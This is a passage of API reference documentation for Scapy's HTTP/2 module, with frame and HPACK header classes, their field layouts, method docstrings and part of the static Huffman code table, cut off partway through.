aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|E|                      STREAM DEPENDENCY                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     WEIGHT    |
+-+-+-+-+-+-+-+-+

                       Fig. H2PriorityFrame                       


H2PriorityFrame fields






	exclusive

	BitField  (1 bit)

	0



	stream_dependency

	BitField  (31 bits)

	0



	weight

	ByteField

	0











	
type_id = 2

	








	
class scapy.contrib.http2.H2PriorityHeadersFrame(_pkt, /, *, exclusive=0, stream_dependency=0, weight=0, hdrs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1573-L1588]

	Bases: H2AbstractHeadersFrame

H2PriorityHeadersFrame is the variant of H2HeadersFrame where priority flag
is set and padding flag is cleared


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|E|                      STREAM DEPENDENCY                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     WEIGHT    |              HDRS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. H2PriorityHeadersFrame                    


H2PriorityHeadersFrame fields






	exclusive

	BitField  (1 bit)

	0



	stream_dependency

	BitField  (31 bits)

	0



	weight

	ByteField

	0



	hdrs

	PacketListField

	[]











	
s_len

	








	
class scapy.contrib.http2.H2PushPromiseFrame(_pkt, /, *, reserved=0, stream_id=0, hdrs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1787-L1804]

	Bases: H2FramePayload

H2PushPromiseFrame implements RFC7540 par6.6. This packet
is the variant to use when the underlayer padding flag is cleared


	
END_HEADERS_FLAG = 2

	




	
PADDED_FLAG = 3

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|                          STREAM ID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              HDRS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. H2PushPromiseFrame                      


H2PushPromiseFrame fields






	reserved

	BitField  (1 bit)

	0



	stream_id

	BitField  (31 bits)

	0



	hdrs

	PacketListField

	[]











	
flags = {2: ('EH', 'End Headers'), 3: ('P', 'Padded')}

	




	
type_id = 5

	








	
class scapy.contrib.http2.H2ResetFrame(_pkt, /, *, error=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1709-L1716]

	Bases: H2FramePayload

H2ResetFrame implements RFC 7540 par6.4


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ERROR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. H2ResetFrame                         


H2ResetFrame fields






	error

	EnumField

	0











	
type_id = 3

	








	
class scapy.contrib.http2.H2Seq(_pkt, /, *, frames=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2076-L2088]

	Bases: Packet

H2Seq is a helper packet that contains several H2Frames and their
payload. This packet can be used, for instance, while reading manually from
a TCP socket.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FRAMES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. H2Seq                            


H2Seq fields






	frames

	PacketListField

	[]











	
guess_payload_class(payload: str) → Packet_metaclass[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2086-L2088]

	








	
class scapy.contrib.http2.H2Setting(_pkt, /, *, id=0, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1721-L1746]

	Bases: Packet

H2Setting implements a setting, as defined in RFC7540 par6.5.1


	
SETTINGS_ENABLE_PUSH = 2

	




	
SETTINGS_HEADER_TABLE_SIZE = 1

	




	
SETTINGS_INITIAL_WINDOW_SIZE = 4

	




	
SETTINGS_MAX_CONCURRENT_STREAMS = 3

	




	
SETTINGS_MAX_FRAME_SIZE = 5

	




	
SETTINGS_MAX_HEADER_LIST_SIZE = 6

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. H2Setting                          


H2Setting fields






	id

	EnumField

	0



	value

	IntField

	0











	
guess_payload_class(payload: str) → Packet_metaclass[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1744-L1746]

	








	
class scapy.contrib.http2.H2SettingsFrame(_pkt, /, *, settings=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1749-L1782]

	Bases: H2FramePayload

H2SettingsFrame implements RFC7540 par6.5


	
ACK_FLAG = 0

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SETTINGS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. H2SettingsFrame                       


H2SettingsFrame fields






	settings

	PacketListField

	[]











	
flags = {0: ('A', 'ACK')}

	




	
type_id = 4

	








	
class scapy.contrib.http2.H2WindowUpdateFrame(_pkt, /, *, reserved=0, win_size_incr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1910-L1932]

	Bases: H2FramePayload

H2WindowUpdateFrame implements the RFC 7540 par6.9


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|                        WIN SIZE INCR                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. H2WindowUpdateFrame                     


H2WindowUpdateFrame fields






	reserved

	BitField  (1 bit)

	0



	win_size_incr

	BitField  (31 bits)

	0











	
type_id = 8

	








	
class scapy.contrib.http2.HPackDynamicSizeUpdate(_pkt, /, *, magic=1, max_size=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1404-L1411]

	Bases: HPackHeaders

HPackDynamicSizeUpdate implements RFC 7541 par6.3


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAGIC|            MAX SIZE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. HPackDynamicSizeUpdate                    


HPackDynamicSizeUpdate fields






	magic

	HPackMagicBitField  (3 bits)

	1



	max_size

	UVarIntField

	0















	
class scapy.contrib.http2.HPackHdrEntry(name: str, value: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2117-L2165]

	Bases: Sized

HPackHdrEntry is an entry of the HPackHdrTable helper

Each HPackHdrEntry instance is a header line (name and value). Names are
normalized (lowercase), according to RFC 7540 par8.1.2


	
name() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2138-L2140]

	




	
size() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2146-L2151]

	size returns the “length” of the header entry, as defined in
RFC 7541 par4.1.






	
value() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2142-L2144]

	








	
class scapy.contrib.http2.HPackHdrString(_pkt, /, *, type=None, len=None, data=<scapy.contrib.http2.HPackLiteralString object>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1300-L1329]

	Bases: Packet

HPackHdrString is a packet that that is serialized into a RFC7541 par5.2
string literal repr.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|T|              LEN              |             DATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+-+

                       Fig. HPackHdrString                        


HPackHdrString fields






	type

	BitEnumField

	None



	len

	FieldUVarLenField

	None



	data

	HPackStrLenField

	<scapy.contrib.http2.HPackLiteralString object at 0x7f5b29900890>











	
guess_payload_class(payload: str) → Packet_metaclass[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1315-L1320]

	




	
self_build(**kwargs: Any) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1322-L1329]

	self_build is overridden because type and len are determined at
build time, based on the “data” field internal type










	
class scapy.contrib.http2.HPackHdrTable(dynamic_table_max_size: int = 4096, dynamic_table_cap_size: int = 4096)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2168-L2733]

	Bases: Sized

HPackHdrTable is a helper class that implements some of the logic
associated with indexing of headers (read and write operations in this
“registry”. THe HPackHdrTable also implements convenience functions to easily  # noqa: E501
convert to and from textual representation and binary representation of
a HTTP/2 requests


	
gen_txt_repr(hdrs: H2Frame | List[HPackHeaders], register: bool | None = True) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2447-L2497]

	gen_txt_repr returns a “textual” representation of the provided
headers.
The output of this function is compatible with the input of
parse_txt_hdrs.


	Parameters:

	
	hdrs (H2Frame|list of HPackHeaders) – the list of headers to
convert to textual representation.


	bool – whether incremental headers should be added to the dynamic
table as we generate the text representation






	Returns:

	str: the textual representation of the provided headers



	Raises:

	AssertionError










	
get_idx_by_name(name: str) → int | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2403-L2420]

	get_idx_by_name returns the index of a matching registered header

This implementation will prefer returning a static entry index whenever
possible. If multiple matching header name are found in the static
table, there is insurance that the first entry (lowest index number)
will be returned.
If no matching header is found, this method returns None.






	
get_idx_by_name_and_value(name: str, value: str) → int | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2422-L2439]

	get_idx_by_name_and_value returns the index of a matching registered
header

This implementation will prefer returning a static entry index whenever
possible. If multiple matching headers are found in the dynamic table,
the lowest index is returned
If no matching header is found, this method returns None.






	
classmethod init_static_table() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2261-L2264]

	




	
parse_txt_hdrs(s: bytes | str, stream_id: int = 1, body: str | None = None, max_frm_sz: int = 4096, max_hdr_lst_sz: int = 0, is_sensitive: ~typing.Callable[[str, str], bool] = <function HPackHdrTable.<lambda>>, should_index: ~typing.Callable[[str], bool] = <function HPackHdrTable.<lambda>>, register: bool = True) → H2Seq[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2620-L2733]

	parse_txt_hdrs parses headers expressed in text and converts them
into a series of H2Frames with the “correct” flags. A body can be
provided in which case, the data frames are added, bearing the End
Stream flag, instead of the H2HeadersFrame/H2ContinuationFrame.
The generated frames may respect max_frm_sz (SETTINGS_MAX_FRAME_SIZE)
and max_hdr_lst_sz (SETTINGS_MAX_HEADER_LIST_SIZE) if provided.
The headers are split into multiple headers fragment (and H2Frames)
to respect these limits. Also, a callback can be provided to tell if
a header should be never indexed (sensitive headers, such as cookies),
and another callback say if the header should be registered into the
index table at all.
For an header to be registered, the is_sensitive callback must return
False AND the should_index callback should return True. This is the
default behavior.


	Parameters:

	
	s (str) – the string to parse for headers


	stream_id (int) – the stream id to use in the generated H2Frames


	body (str/None) – the eventual body of the request, that is added
to the generated frames


	max_frm_sz (int) – the maximum frame size. This is used to split
the headers and data frames according to the maximum frame size
negotiated for this connection.


	max_hdr_lst_sz (int) – the maximum size of a “header fragment” as
defined in RFC7540


	is_sensitive (callable) – callback that returns True if the
provided header is sensible and must be stored in a header packet
requesting this header never to be indexed


	should_index (callable) – callback that returns True if the
provided header should be stored in a header packet requesting
indexation in the dynamic header table.


	register (bool) – whether to register new headers with incremental
indexing as we parse them






	Raises:

	Exception










	
recap(nc: int) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2322-L2336]

	recap changes the maximum size limit of the dynamic table. It also
proceeds to a resize(), if the new size is lower than the previous one.
:param int nc: the new cap of the dynamic table (that is the maximum-maximum size)  # noqa: E501
:raises: AssertionError






	
register(hdrs: HPackLitHdrFldWithIncrIndexing | H2Frame | List[HPackHeaders]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2357-L2401]

	register adds to this table the instances of
HPackLitHdrFldWithIncrIndexing provided as parameters.

A H2Frame with a H2HeadersFrame payload can be provided, as much as a
python list of HPackHeaders or a single HPackLitHdrFldWithIncrIndexing
instance.
:param HPackLitHdrFldWithIncrIndexing|H2Frame|list of HPackHeaders hdrs: the header(s) to register  # noqa: E501
:raises: AssertionError






	
resize(ns: int) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2306-L2320]

	Resize the dynamic table. If the new size (ns) must be between 0 and
the cap size. If the new size is lower than the current size of the
dynamic table, entries are evicted.
:param int ns: the new size of the dynamic table
:raises: AssertionError










	
class scapy.contrib.http2.HPackHeaders(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1332-L1356]

	Bases: Packet

HPackHeaders uses the “dispatch_hook” trick of Packet_metaclass to select
the correct HPack header packet type. For this, the first byte of the string  # noqa: E501
to dissect is snooped on.


	
aliastypes

	




	
classmethod dispatch_hook(s: str | None = None, *_args: Any, **_kwds: Any) → Packet_metaclass[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1337-L1352]

	dispatch_hook returns the subclass of HPackHeaders that must be used
to dissect the string.






	
guess_payload_class(payload: str) → Packet_metaclass[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1354-L1356]

	








	
class scapy.contrib.http2.HPackIndexedHdr(_pkt, /, *, magic=1, index=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1359-L1366]

	Bases: HPackHeaders

HPackIndexedHdr implements RFC 7541 par6.1


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|M|             INDEX             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. HPackIndexedHdr                       


HPackIndexedHdr fields






	magic

	HPackMagicBitField  (1 bit)

	1



	index

	UVarIntField

	2















	
class scapy.contrib.http2.HPackLitHdrFldWithIncrIndexing(_pkt, /, *, magic=1, index=0, hdr_name=None, hdr_value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1369-L1381]

	Bases: HPackHeaders

HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.1


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAG|             INDEX             |          HDR NAME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   |           HDR VALUE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. HPackLitHdrFldWithIncrIndexing                


HPackLitHdrFldWithIncrIndexing fields






	magic

	HPackMagicBitField  (2 bits)

	1



	index

	UVarIntField

	0



	hdr_name

	PacketField (Cond)

	None



	hdr_value

	PacketField

	None















	
class scapy.contrib.http2.HPackLitHdrFldWithoutIndexing(_pkt, /, *, magic=0, never_index=0, index=0, hdr_name=None, hdr_value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1384-L1401]

	Bases: HPackHeaders

HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.2
and par6.2.3


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MAGIC|N|             INDEX             |        HDR NAME       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |           HDR VALUE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. HPackLitHdrFldWithoutIndexing                


HPackLitHdrFldWithoutIndexing fields






	magic

	HPackMagicBitField  (3 bits)

	0



	never_index

	BitEnumField

	0



	index

	UVarIntField

	0



	hdr_name

	PacketField (Cond)

	None



	hdr_value

	PacketField

	None















	
class scapy.contrib.http2.HPackLiteralString(s: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L658-L678]

	Bases: HPackStringsInterface

HPackLiteralString is a string. This class is used as a marker and
implements an interface in common with HPackZString


	
origin() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L672-L674]

	








	
class scapy.contrib.http2.HPackMagicBitField(name: str, default: int, size: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L53-L167]

	Bases: BitField

HPackMagicBitField is a BitField variant that cannot be assigned another
value than the default one. This field must not be used where there is
potential for fuzzing. OTOH, this field makes sense (for instance, if the
magic bits are used by a dispatcher to select the payload class)


	
addfield(pkt: Packet | None, s: str | Tuple[str, int, int], val: int) → str | Tuple[str, int, int][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L77-L88]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused.  # noqa: E501


	s (str|(str, int, long)) – either a str if 0 == size%8 or a tuple with the string to add this field to, the  # noqa: E501
number of bits already generated and the generated value so far.


	val (int) – unused; must be equal to default value






	Returns:

	str|(str, int, long): the s string extended with this field machine representation  # noqa: E501



	Raises:

	AssertionError










	
any2i(pkt: Packet | None, x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L157-L167]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused  # noqa: E501


	x (int) – unused; must be equal to default value






	Returns:

	int; default value



	Raises:

	AssertionError










	
getfield(pkt: Packet | None, s: str | Tuple[str, int]) → Tuple[Tuple[str, int] | str, int][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L90-L107]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused.  # noqa: E501


	s (str|(str, int)) – either a str if size%8==0 or a tuple with the string to parse from and the number of  # noqa: E501
bits already consumed by previous bitfield-compatible fields.






	Returns:

	(str|(str, int), int): Returns the remaining string and the parsed value. May return a tuple if there  # noqa: E501
are remaining bits to parse in the first byte. Returned value is equal to default value  # noqa: E501



	Raises:

	AssertionError










	
h2i(pkt: Packet | None, x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L109-L119]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused  # noqa: E501


	x (int) – unused; must be equal to default value






	Returns:

	int; default value



	Raises:

	AssertionError










	
i2h(pkt: Packet | None, x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L121-L131]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused  # noqa: E501


	x (int) – unused; must be equal to default value






	Returns:

	int; default value



	Raises:

	AssertionError










	
i2m(pkt: Packet | None, x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L145-L155]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused  # noqa: E501


	x (int) – unused; must be equal to default value






	Returns:

	int; default value



	Raises:

	AssertionError










	
m2i(pkt: Packet | None, x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L133-L143]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance; probably unused  # noqa: E501


	x (int) – must be the machine representatino of the default value






	Returns:

	int; default value



	Raises:

	AssertionError














	
class scapy.contrib.http2.HPackStrLenField(name: str, default: HPackStringsInterface, length_from: Callable[[Packet], int], type_from: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1194-L1293]

	Bases: Field

HPackStrLenField is a StrLenField variant specialized for HTTP/2 HPack

This variant uses an internal representation that implements HPackStringsInterface.  # noqa: E501


	
addfield(pkt: Packet | None, s: str, val: HPackStringsInterface) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1207-L1209]

	




	
any2i(pkt: Packet | None, x: str | HPackStringsInterface) → HPackStringsInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1269-L1281]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance.  # noqa: E501


	x (str|HPackStringsInterface) – the value to convert






	Returns:

	HPackStringsInterface: the Scapy internal value for this field



	Raises:

	AssertionError, InvalidEncodingException










	
getfield(pkt: Packet, s: str) → Tuple[str, HPackStringsInterface][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1225-L1237]

	
	Parameters:

	
	pkt (packet.Packet) – the packet instance containing this field instance.  # noqa: E501


	s (str) – the string to parse this field from.






	Returns:

	(str, HPackStringsInterface): the remaining string after this field was carved out & the extracted  # noqa: E501
value.



	Raises:

	KeyError if “type_from” is not a field of pkt or its payloads.



	Raises:

	InvalidEncodingException










	
h2i(pkt: Packet, x: str) → HPackStringsInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1248-L1250]

	




	
i2h(pkt: Packet | None, x: HPackStringsInterface) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1239-L1246]

	




	
i2len(pkt: Packet | None, x: HPackStringsInterface) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1287-L1289]

	




	
i2m(pkt: Packet | None, x: HPackStringsInterface) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1283-L1285]

	




	
i2repr(pkt: Packet | None, x: HPackStringsInterface) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1291-L1293]

	




	
m2i(pkt: Packet, x: str) → HPackStringsInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1252-L1267]

	
	Parameters:

	
	pkt (packet.Packet) – the packet instance containing this field instance.  # noqa: E501


	x (str) – the string to parse.






	Returns:

	HPackStringsInterface: the internal type of the value parsed from x.  # noqa: E501



	Raises:

	AssertionError



	Raises:

	InvalidEncodingException



	Raises:

	KeyError if _type_from is not one of pkt fields.














	
class scapy.contrib.http2.HPackStringsInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L640-L655]

	Bases: Sized


	
abstract origin()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L649-L651]

	








	
class scapy.contrib.http2.HPackZString(s: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L731-L1191]

	Bases: HPackStringsInterface


	
classmethod huffman_compute_decode_tree() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1152-L1173]

	huffman_compute_decode_tree initializes/builds the static_huffman_tree


	Returns:

	None



	Raises:

	InvalidEncodingException if there is an encoding problem










	
classmethod huffman_conv2bitstring(s: str) → Tuple[int, int][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1131-L1150]

	huffman_conv2bitstring converts a string into its bitstring
representation. It returns a tuple: the bitstring and its bitlength.
This function DOES NOT compress/decompress the string!


	Parameters:

	s (str) – the bytestring to convert.



	Returns:

	(int, int): the bitstring of s, and its bitlength.



	Raises:

	AssertionError










	
classmethod huffman_conv2str(bit_str: int, bit_len: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1102-L1129]

	huffman_conv2str converts a bitstring of bit_len bitlength into a
binary string. It DOES NOT compress/decompress the bitstring!


	Parameters:

	
	bit_str (int) – the bitstring to convert.


	bit_len (int) – the bitlength of bit_str.






	Returns:

	str: the converted bitstring as a bytestring.



	Raises:

	AssertionError










	
classmethod huffman_decode(i: int, ibl: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1044-L1100]

	huffman_decode decodes the bitstring provided as parameters.


	Parameters:

	
	i (int) – the bitstring to decode


	ibl (int) – the bitlength of i






	Returns:

	str: the string decoded from the bitstring



	Raises:

	AssertionError, InvalidEncodingException










	
classmethod huffman_encode(s: str) → Tuple[int, int][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1016-L1042]

	huffman_encode returns the bitstring and the bitlength of the
bitstring representing the string provided as a parameter


	Parameters:

	s (str) – the string to encode



	Returns:

	(int, int): the bitstring of s and its bitlength



	Raises:

	AssertionError










	
origin() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1185-L1187]

	




	
static_huffman_code = [(8184, 13), (8388568, 23), (268435426, 28), (268435427, 28), (268435428, 28), (268435429, 28), (268435430, 28), (268435431, 28), (268435432, 28), (16777194, 24), (1073741820, 30), (268435433, 28), (268435434, 28), (1073741821, 30), (268435435, 28), (268435436, 28), (268435437, 28), (268435438, 28), (268435439, 28), (268435440, 28), (268435441, 28), (268435442, 28), (1073741822, 30), (268435443, 28), (268435444, 28), (268435445, 28), (268435446, 28), (268435447, 28), (268435448, 28), (268435449, 28), (268435450, 28), (268435451, 28), (20, 6), (1016, 10), (1017, 10), (4090, 12), (8185, 13), (21, 6), (248, 8), (2042, 11), (1018, 10), (1019, 10), (249, 8), (2043, 11), (250, 8), (22, 6), (23, 6), (24, 6), (0, 5), (1, 5), (2, 5), (25, 6), (26, 6), (27, 6), (28, 6), (29, 6), (30, 6), (31, 6), (92, 7), (251, 8), (32764, 15), (32, 6), (4091, 12), (1020, 10), (8186, 13), (33, 6), (93, 7), (94, 7), (95, 7), (96, 7), (97, 7), (98, 7), (99, 7), (100, 7), (101, 7), (102, 7), (103, 7), (104, 7), (105, 7), (106, 7), (107, 7), (108, 7), (109, 7), (110, 7), (111, 7), (112, 7), (113, 7), (114, 7), (252, 8), (115, 7), (253, 8), (8187, 13), (524272, 19), (8188, 13), (16380, 14), (34, 6), (32765, 15), (3, 5), (35, 6), (4, 5), (36, 6), (5, 5), (37, 6), (38, 6), (39, 6), (6, 5), (116, 7), (117, 7), (40, 6), (41, 6), (42, 6), (7, 5), (43, 6), (118, 7), (44, 6), (8, 5), (9, 5), (45, 6), (119, 7), (120, 7), (121, 7), (122, 7), (123, 7), (32766, 15), (2044, 11), (16381, 14), (8189, 13), (268435452, 28), (1048550, 20), (4194258, 22), (1048551, 20), (1048552, 20), (4194259, 22), (4194260, 22), (4194261, 22), 